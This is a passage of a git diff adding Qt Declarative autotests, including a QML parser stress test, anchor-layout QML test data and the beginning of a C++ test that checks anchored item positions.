+
+void tst_moduleqt47::create()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/importqt47.qml"));
+ QObject *obj = qobject_cast<QObject*>(c.create());
+
+ QVERIFY(obj != 0);
+ delete obj;
+}
+
+QStringList tst_moduleqt47::findFiles(const QDir &d)
+{
+ QStringList rv;
+
+ QStringList files = d.entryList(QStringList() << QLatin1String("*.qml") << QLatin1String("*.qdoc"), QDir::Files);
+ foreach (const QString &file, files) {
+
+ QString absFile = d.absoluteFilePath(file);
+
+ bool skip = false;
+ for (int ii = 0; !skip && ii < excludedFiles.count(); ++ii)
+ skip = (absFile.endsWith(excludedFiles.at(ii)));
+
+ if (!skip)
+ rv << absFile;
+ }
+
+ QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot | QDir::NoSymLinks);
+ foreach (const QString &dir, dirs) {
+ QDir sub = d;
+ sub.cd(dir);
+ rv << findFiles(sub);
+ }
+
+ return rv;
+}
+
+void tst_moduleqt47::accidentalImport_data()
+{
+ QTest::addColumn<QString>("file");
+ QStringList files = findFiles(QDir(SRCDIR "/../../../../"));
+
+ foreach(const QString &file, files)
+ QTest::newRow(qPrintable(file)) << file;
+}
+
+void tst_moduleqt47::accidentalImport()
+{
+ QFETCH(QString, file);
+
+ QFile f(file);
+ if (!f.open(QIODevice::ReadOnly))
+ return;
+ QByteArray data = f.readAll();
+
+ QVERIFY(!data.contains("import Qt 4"));
+}
+
+QTEST_MAIN(tst_moduleqt47)
+
+#include "tst_moduleqt47.moc"
diff --git a/tests/auto/declarative/parserstress/parserstress.pro b/tests/auto/declarative/parserstress/parserstress.pro
new file mode 100644
index 00000000..6ef2432b
--- /dev/null
+++ b/tests/auto/declarative/parserstress/parserstress.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_parserstress.cpp
+
+symbian: {
+ importFiles.files = ..\\..\\qscriptjstestsuite\\tests
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/parserstress/tst_parserstress.cpp b/tests/auto/declarative/parserstress/tst_parserstress.cpp
new file mode 100644
index 00000000..33896d52
--- /dev/null
+++ b/tests/auto/declarative/parserstress/tst_parserstress.cpp
@@ -0,0 +1,165 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include <QDir>
+#include <QFile>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_parserstress : public QObject
+{
+ Q_OBJECT
+public:
+ tst_parserstress() {}
+
+private slots:
+ void ecmascript_data();
+ void ecmascript();
+
+private:
+ static QStringList findJSFiles(const QDir &);
+ QDeclarativeEngine engine;
+};
+
+QStringList tst_parserstress::findJSFiles(const QDir &d)
+{
+ QStringList rv;
+
+ QStringList files = d.entryList(QStringList() << QLatin1String("*.js"),
+ QDir::Files);
+ foreach (const QString &file, files) {
+ if (file == "browser.js")
+ continue;
+ rv << d.absoluteFilePath(file);
+ }
+
+ QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot |
+ QDir::NoSymLinks);
+ foreach (const QString &dir, dirs) {
+ QDir sub = d;
+ sub.cd(dir);
+ rv << findJSFiles(sub);
+ }
+
+ return rv;
+}
+
+void tst_parserstress::ecmascript_data()
+{
+#ifdef Q_OS_SYMBIAN
+ QDir dir("tests");
+#else
+ QDir dir(SRCDIR);
+ dir.cdUp();
+ dir.cdUp();
+ dir.cd("qscriptjstestsuite");
+ dir.cd("tests");
+#endif
+ QStringList files = findJSFiles(dir);
+
+ QTest::addColumn<QString>("file");
+ foreach (const QString &file, files) {
+ QTest::newRow(qPrintable(file)) << file;
+ }
+}
+
+void tst_parserstress::ecmascript()
+{
+ QFETCH(QString, file);
+
+ QFile f(file);
+ QVERIFY(f.open(QIODevice::ReadOnly));
+
+ QByteArray data = f.readAll();
+
+ QVERIFY(!data.isEmpty());
+
+ QString dataStr = QString::fromUtf8(data);
+
+ QString qml = "import QtQuick 1.0\n";
+ qml+= "\n";
+ qml+= "QtObject {\n";
+ qml+= " property int test\n";
+ qml+= " test: {\n";
+ qml+= dataStr + "\n";
+ qml+= " return 1;\n";
+ qml+= " }\n";
+ qml+= " function stress() {\n";
+ qml+= dataStr;
+ qml+= " }\n";
+ qml+= "}\n";
+
+ QByteArray qmlData = qml.toUtf8();
+
+ QDeclarativeComponent component(&engine);
+
+ component.setData(qmlData, QUrl::fromLocalFile(SRCDIR + QString("/dummy.qml")));
+
+ QFileInfo info(file);
+
+ if (info.fileName() == QLatin1String("regress-352044-02-n.js")) {
+ QVERIFY(component.isError());
+
+ QCOMPARE(component.errors().length(), 2);
+
+ QCOMPARE(component.errors().at(0).description(), QString("Expected token `;'"));
+ QCOMPARE(component.errors().at(0).line(), 66);
+
+ QCOMPARE(component.errors().at(1).description(), QString("Expected token `;'"));
+ QCOMPARE(component.errors().at(1).line(), 142);
+
+ } else {
+
+ QVERIFY(!component.isError());
+ }
+}
+
+
+QTEST_MAIN(tst_parserstress)
+
+#include "tst_parserstress.moc"
diff --git a/tests/auto/declarative/qdeclarativeanchors/data/anchors.qml b/tests/auto/declarative/qdeclarativeanchors/data/anchors.qml
new file mode 100644
index 00000000..9b7c8053
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/data/anchors.qml
@@ -0,0 +1,162 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 240
+ height: 320
+ Rectangle { id: masterRect; objectName: "masterRect"; x: 26; width: 96; height: 20; color: "red" }
+ Rectangle {
+ id: rect1; objectName: "rect1"
+ y: 20; width: 10; height: 10
+ anchors.left: masterRect.left
+ }
+ Rectangle {
+ id: rect2; objectName: "rect2"
+ y: 20; width: 10; height: 10
+ anchors.left: masterRect.right
+ }
+ Rectangle {
+ id: rect3; objectName: "rect3"
+ y: 20; width: 10; height: 10
+ anchors.left: masterRect.horizontalCenter
+ }
+ Rectangle {
+ id: rect4; objectName: "rect4"
+ y: 30; width: 10; height: 10
+ anchors.right: masterRect.left
+ }
+ Rectangle {
+ id: rect5; objectName: "rect5"
+ y: 30; width: 10; height: 10
+ anchors.right: masterRect.right
+ }
+ Rectangle {
+ id: rect6; objectName: "rect6"
+ y: 30; width: 10; height: 10
+ anchors.right: masterRect.horizontalCenter
+ }
+ Rectangle {
+ id: rect7; objectName: "rect7"
+ y: 50; width: 10; height: 10
+ anchors.left: parent.left
+ }
+ Rectangle {
+ id: rect8; objectName: "rect8"
+ y: 50; width: 10; height: 10
+ anchors.left: parent.right
+ }
+ Rectangle {
+ id: rect9; objectName: "rect9"
+ y: 50; width: 10; height: 10
+ anchors.left: parent.horizontalCenter
+ }
+ Rectangle {
+ id: rect10; objectName: "rect10"
+ y: 60; width: 10; height: 10
+ anchors.right: parent.left
+ }
+ Rectangle {
+ id: rect11; objectName: "rect11"
+ y: 60; width: 10; height: 10
+ anchors.right: parent.right
+ }
+ Rectangle {
+ id: rect12; objectName: "rect12"
+ y: 60; width: 10; height: 10
+ anchors.right: parent.horizontalCenter
+ }
+ Rectangle {
+ id: rect13; objectName: "rect13"
+ x: 200; width: 10; height: 10
+ anchors.top: masterRect.bottom
+ }
+ Rectangle {
+ id: rect14; objectName: "rect14"
+ width: 10; height: 10; color: "steelblue"
+ anchors.verticalCenter: parent.verticalCenter
+ }
+ Rectangle {
+ id: rect15; objectName: "rect15"
+ y: 200; height: 10
+ anchors.left: masterRect.left
+ anchors.right: masterRect.right
+ }
+ Rectangle {
+ id: rect16; objectName: "rect16"
+ y: 220; height: 10
+ anchors.left: masterRect.left
+ anchors.horizontalCenter: masterRect.right
+ }
+ Rectangle {
+ id: rect17; objectName: "rect17"
+ y: 240; height: 10
+ anchors.right: masterRect.right
+ anchors.horizontalCenter: masterRect.left
+ }
+ Rectangle {
+ id: rect18; objectName: "rect18"
+ x: 180; width: 10
+ anchors.top: masterRect.bottom
+ anchors.bottom: rect12.top
+ }
+ Rectangle {
+ id: rect19; objectName: "rect19"
+ y: 70; width: 10; height: 10
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Rectangle {
+ id: rect20; objectName: "rect20"
+ y: 70; width: 10; height: 10
+ anchors.horizontalCenter: parent.right
+ }
+ Rectangle {
+ id: rect21; objectName: "rect21"
+ y: 70; width: 10; height: 10
+ anchors.horizontalCenter: parent.left
+ }
+ Rectangle {
+ id: rect22; objectName: "rect22"
+ width: 10; height: 10
+ anchors.centerIn: masterRect
+ }
+ Rectangle {
+ id: rect23; objectName: "rect23"
+ anchors.left: masterRect.left
+ anchors.leftMargin: 5
+ anchors.right: masterRect.right
+ anchors.rightMargin: 5
+ anchors.top: masterRect.top
+ anchors.topMargin: 5
+ anchors.bottom: masterRect.bottom
+ anchors.bottomMargin: 5
+ }
+ Rectangle {
+ id: rect24; objectName: "rect24"
+ width: 10; height: 10
+ anchors.horizontalCenter: masterRect.left
+ anchors.horizontalCenterOffset: width/2
+ }
+ Rectangle {
+ id: rect25; objectName: "rect25"
+ width: 10; height: 10
+ anchors.verticalCenter: rect12.top
+ anchors.verticalCenterOffset: height/2
+ }
+ Rectangle {
+ id: rect26; objectName: "rect26"
+ width: 10; height: 10
+ anchors.baseline: masterRect.top
+ anchors.baselineOffset: height/2
+ }
+ Text {
+ id: text1; objectName: "text1"
+ y: 200;
+ text: "Hello"
+ }
+ Text {
+ id: text2; objectName: "text2"
+ anchors.baseline: text1.baseline
+ anchors.left: text1.right
+ text: "World"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanchors/data/anchorsqgraphicswidget.qml b/tests/auto/declarative/qdeclarativeanchors/data/anchorsqgraphicswidget.qml
new file mode 100644
index 00000000..82d0315a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/data/anchorsqgraphicswidget.qml
@@ -0,0 +1,162 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 240
+ height: 320
+ Rectangle { id: masterRect; objectName: "masterRect"; x: 26; width: 96; height: 20; color: "red" }
+ QGraphicsWidget {
+ id: rect1; objectName: "rect1"
+ y: 20; width: 10; height: 10
+ anchors.left: masterRect.left
+ }
+ QGraphicsWidget {
+ id: rect2; objectName: "rect2"
+ y: 20; width: 10; height: 10
+ anchors.left: masterRect.right
+ }
+ QGraphicsWidget {
+ id: rect3; objectName: "rect3"
+ y: 20; width: 10; height: 10
+ anchors.left: masterRect.horizontalCenter
+ }
+ QGraphicsWidget {
+ id: rect4; objectName: "rect4"
+ y: 30; width: 10; height: 10
+ anchors.right: masterRect.left
+ }
+ QGraphicsWidget {
+ id: rect5; objectName: "rect5"
+ y: 30; width: 10; height: 10
+ anchors.right: masterRect.right
+ }
+ QGraphicsWidget {
+ id: rect6; objectName: "rect6"
+ y: 30; width: 10; height: 10
+ anchors.right: masterRect.horizontalCenter
+ }
+ QGraphicsWidget {
+ id: rect7; objectName: "rect7"
+ y: 50; width: 10; height: 10
+ anchors.left: parent.left
+ }
+ QGraphicsWidget {
+ id: rect8; objectName: "rect8"
+ y: 50; width: 10; height: 10
+ anchors.left: parent.right
+ }
+ QGraphicsWidget {
+ id: rect9; objectName: "rect9"
+ y: 50; width: 10; height: 10
+ anchors.left: parent.horizontalCenter
+ }
+ QGraphicsWidget {
+ id: rect10; objectName: "rect10"
+ y: 60; width: 10; height: 10
+ anchors.right: parent.left
+ }
+ QGraphicsWidget {
+ id: rect11; objectName: "rect11"
+ y: 60; width: 10; height: 10
+ anchors.right: parent.right
+ }
+ QGraphicsWidget {
+ id: rect12; objectName: "rect12"
+ y: 60; width: 10; height: 10
+ anchors.right: parent.horizontalCenter
+ }
+ QGraphicsWidget {
+ id: rect13; objectName: "rect13"
+ x: 200; width: 10; height: 10
+ anchors.top: masterRect.bottom
+ }
+ QGraphicsWidget {
+ id: rect14; objectName: "rect14"
+ width: 10; height: 10;
+ anchors.verticalCenter: parent.verticalCenter
+ }
+ QGraphicsWidget {
+ id: rect15; objectName: "rect15"
+ y: 200; height: 10
+ anchors.left: masterRect.left
+ anchors.right: masterRect.right
+ }
+ QGraphicsWidget {
+ id: rect16; objectName: "rect16"
+ y: 220; height: 10
+ anchors.left: masterRect.left
+ anchors.horizontalCenter: masterRect.right
+ }
+ QGraphicsWidget {
+ id: rect17; objectName: "rect17"
+ y: 240; height: 10
+ anchors.right: masterRect.right
+ anchors.horizontalCenter: masterRect.left
+ }
+ QGraphicsWidget {
+ id: rect18; objectName: "rect18"
+ x: 180; width: 10
+ anchors.top: masterRect.bottom
+ anchors.bottom: rect12.top
+ }
+ QGraphicsWidget {
+ id: rect19; objectName: "rect19"
+ y: 70; width: 10; height: 10
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ QGraphicsWidget {
+ id: rect20; objectName: "rect20"
+ y: 70; width: 10; height: 10
+ anchors.horizontalCenter: parent.right
+ }
+ QGraphicsWidget {
+ id: rect21; objectName: "rect21"
+ y: 70; width: 10; height: 10
+ anchors.horizontalCenter: parent.left
+ }
+ QGraphicsWidget {
+ id: rect22; objectName: "rect22"
+ width: 10; height: 10
+ anchors.centerIn: masterRect
+ }
+ QGraphicsWidget {
+ id: rect23; objectName: "rect23"
+ anchors.left: masterRect.left
+ anchors.leftMargin: 5
+ anchors.right: masterRect.right
+ anchors.rightMargin: 5
+ anchors.top: masterRect.top
+ anchors.topMargin: 5
+ anchors.bottom: masterRect.bottom
+ anchors.bottomMargin: 5
+ }
+ QGraphicsWidget {
+ id: rect24; objectName: "rect24"
+ width: 10; height: 10
+ anchors.horizontalCenter: masterRect.left
+ anchors.horizontalCenterOffset: width/2
+ }
+ QGraphicsWidget {
+ id: rect25; objectName: "rect25"
+ width: 10; height: 10
+ anchors.verticalCenter: rect12.top
+ anchors.verticalCenterOffset: height/2
+ }
+ Rectangle {
+ id: rect26; objectName: "rect26"
+ width: 10; height: 10
+ anchors.baseline: masterRect.top
+ anchors.baselineOffset: height/2
+ }
+ Text {
+ id: text1; objectName: "text1"
+ y: 200;
+ text: "Hello"
+ }
+ Text {
+ id: text2; objectName: "text2"
+ anchors.baseline: text1.baseline
+ anchors.left: text1.right
+ text: "World"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanchors/data/centerin.qml b/tests/auto/declarative/qdeclarativeanchors/data/centerin.qml
new file mode 100644
index 00000000..d3bc8cb2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/data/centerin.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+ Rectangle {
+ objectName: "centered"
+ width: 50; height: 50; color: "blue"
+ anchors.centerIn: parent;
+ anchors.verticalCenterOffset: 30
+ anchors.horizontalCenterOffset: 10
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanchors/data/crash1.qml b/tests/auto/declarative/qdeclarativeanchors/data/crash1.qml
new file mode 100644
index 00000000..de66067c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/data/crash1.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+Column {
+ Text {
+ text: "foo"
+ anchors.fill: parent
+ }
+ Text {
+ text: "bar"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanchors/data/fill.qml b/tests/auto/declarative/qdeclarativeanchors/data/fill.qml
new file mode 100644
index 00000000..ff19675e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/data/fill.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+ Rectangle {
+ objectName: "filler"
+ width: 50; height: 50; color: "blue"
+ anchors.fill: parent;
+ anchors.leftMargin: 10;
+ anchors.rightMargin: 20;
+ anchors.topMargin: 30;
+ anchors.bottomMargin: 40;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanchors/data/hvCenter.qml b/tests/auto/declarative/qdeclarativeanchors/data/hvCenter.qml
new file mode 100644
index 00000000..11b31ffd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/data/hvCenter.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 77; height: 95
+ Rectangle {
+ objectName: "centered"
+ width: 57; height: 57; color: "blue"
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanchors/data/loop1.qml b/tests/auto/declarative/qdeclarativeanchors/data/loop1.qml
new file mode 100644
index 00000000..def48fae
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/data/loop1.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 120; height: 200; color: "white"
+ Text { id: text1; anchors.right: text2.right; text: "Hello" }
+ Text { id: text2; anchors.right: text1.right; anchors.rightMargin: 10; text: "World" }
+}
diff --git a/tests/auto/declarative/qdeclarativeanchors/data/loop2.qml b/tests/auto/declarative/qdeclarativeanchors/data/loop2.qml
new file mode 100644
index 00000000..21571e29
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/data/loop2.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container;
+ width: 600;
+ height: 600;
+
+ Image {
+ id: image1
+ source: "http://labs.trolltech.com/blogs/wp-content/uploads/2009/03/3311388091_ac2a257feb.jpg"
+ anchors.right: image2.left
+ }
+
+ Image {
+ id: image2
+ source: "http://labs.trolltech.com/blogs/wp-content/uploads/2009/03/oslo_groupphoto.jpg"
+ anchors.left: image1.right
+ anchors.leftMargin: 20
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanchors/data/margins.qml b/tests/auto/declarative/qdeclarativeanchors/data/margins.qml
new file mode 100644
index 00000000..685346a8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/data/margins.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+ Rectangle {
+ objectName: "filler"
+ width: 50; height: 50; color: "blue"
+ anchors.fill: parent;
+ anchors.margins: 10
+ anchors.leftMargin: 5
+ anchors.topMargin: 6
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanchors/qdeclarativeanchors.pro b/tests/auto/declarative/qdeclarativeanchors/qdeclarativeanchors.pro
new file mode 100644
index 00000000..f09e8d9f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/qdeclarativeanchors.pro
@@ -0,0 +1,15 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qdeclarativeanchors.cpp
+macx:CONFIG -= app_bundle
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeanchors/tst_qdeclarativeanchors.cpp b/tests/auto/declarative/qdeclarativeanchors/tst_qdeclarativeanchors.cpp
new file mode 100644
index 00000000..17e5eb03
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanchors/tst_qdeclarativeanchors.cpp
@@ -0,0 +1,771 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QSignalSpy>
+#include <QtGui/QGraphicsWidget>
+#include <private/qgraphicsitem_p.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativetext_p.h>
+#include <QtDeclarative/private/qdeclarativeanchors_p_p.h>
+#include <QtDeclarative/private/qdeclarativeitem_p.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+Q_DECLARE_METATYPE(QDeclarativeAnchors::Anchor)
+Q_DECLARE_METATYPE(QDeclarativeAnchorLine::AnchorLine)
+
+class tst_qdeclarativeanchors : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeanchors() {}
+
+private slots:
+ void basicAnchors();
+ void basicAnchorsQGraphicsWidget();
+ void basicAnchorsRTL();
+ void loops();
+ void illegalSets();
+ void illegalSets_data();
+ void reset();
+ void reset_data();
+ void resetConvenience();
+ void nullItem();
+ void nullItem_data();
+ void crash1();
+ void centerIn();
+ void centerInRTL();
+ void hvCenter();
+ void hvCenterRTL();
+ void fill();
+ void fillRTL();
+ void margins();
+ void marginsRTL();
+};
+
+/*
+ Find an item with the specified id.
+*/
+template<typename T>
+T *findItem(QGraphicsObject *parent, const QString &objectName)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ QList<QGraphicsItem *> children = parent->childItems();
+ for (int i = 0; i < children.count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(children.at(i)->toGraphicsObject());
+ if (item) {
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ return static_cast<T*>(item);
+ }
+ item = findItem<T>(item, objectName);
+ if (item)
+ return static_cast<T*>(item);
+ }
+ }
+
+ return 0;
+}
+
+QGraphicsObject *findObject(QGraphicsObject *parent, const QString &objectName)
+{
+ QList<QGraphicsItem *> children = parent->childItems();
+ for (int i = 0; i < children.count(); ++i) {
+ QGraphicsObject *item = children.at(i)->toGraphicsObject();
+ if (item) {
+ if (objectName.isEmpty() || item->objectName() == objectName) {
+ return item;
+ }
+ item = findObject(item, objectName);
+ if (item)
+ return item;
+ }
+ }
+
+ return 0;
+}
+
+
+void tst_qdeclarativeanchors::basicAnchors()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/anchors.qml"));
+
+ qApp->processEvents();
+
+ //sibling horizontal
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect1"))->x(), 26.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect2"))->x(), 122.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect3"))->x(), 74.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect4"))->x(), 16.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect5"))->x(), 112.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect6"))->x(), 64.0);
+
+ //parent horizontal
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect7"))->x(), 0.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect8"))->x(), 240.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect9"))->x(), 120.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect10"))->x(), -10.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect11"))->x(), 230.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect12"))->x(), 110.0);
+
+ //vertical
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect13"))->y(), 20.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect14"))->y(), 155.0);
+
+ //stretch
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect15"))->x(), 26.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect15"))->width(), 96.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect16"))->x(), 26.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect16"))->width(), 192.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect17"))->x(), -70.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect17"))->width(), 192.0);
+
+ //vertical stretch
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect18"))->y(), 20.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect18"))->height(), 40.0);
+
+ //more parent horizontal
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect19"))->x(), 115.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect20"))->x(), 235.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect21"))->x(), -5.0);
+
+ //centerIn
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect22"))->x(), 69.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect22"))->y(), 5.0);
+
+ //margins
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect23"))->x(), 31.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect23"))->y(), 5.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect23"))->width(), 86.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect23"))->height(), 10.0);
+
+ // offsets
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect24"))->x(), 26.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect25"))->y(), 60.0);
+ QCOMPARE(findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("rect26"))->y(), 5.0);
+
+ //baseline
+ QDeclarativeText *text1 = findItem<QDeclarativeText>(view->rootObject(), QLatin1String("text1"));
+ QDeclarativeText *text2 = findItem<QDeclarativeText>(view->rootObject(), QLatin1String("text2"));
+ QCOMPARE(text1->y(), text2->y());
+
+ delete view;
+}
+
+void tst_qdeclarativeanchors::basicAnchorsQGraphicsWidget()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/anchorsqgraphicswidget.qml"));
+
+ qApp->processEvents();
+
+ //sibling horizontal
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect1"))->x(), 26.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect2"))->x(), 122.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect3"))->x(), 74.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect4"))->x(), 16.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect5"))->x(), 112.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect6"))->x(), 64.0);
+
+ //parent horizontal
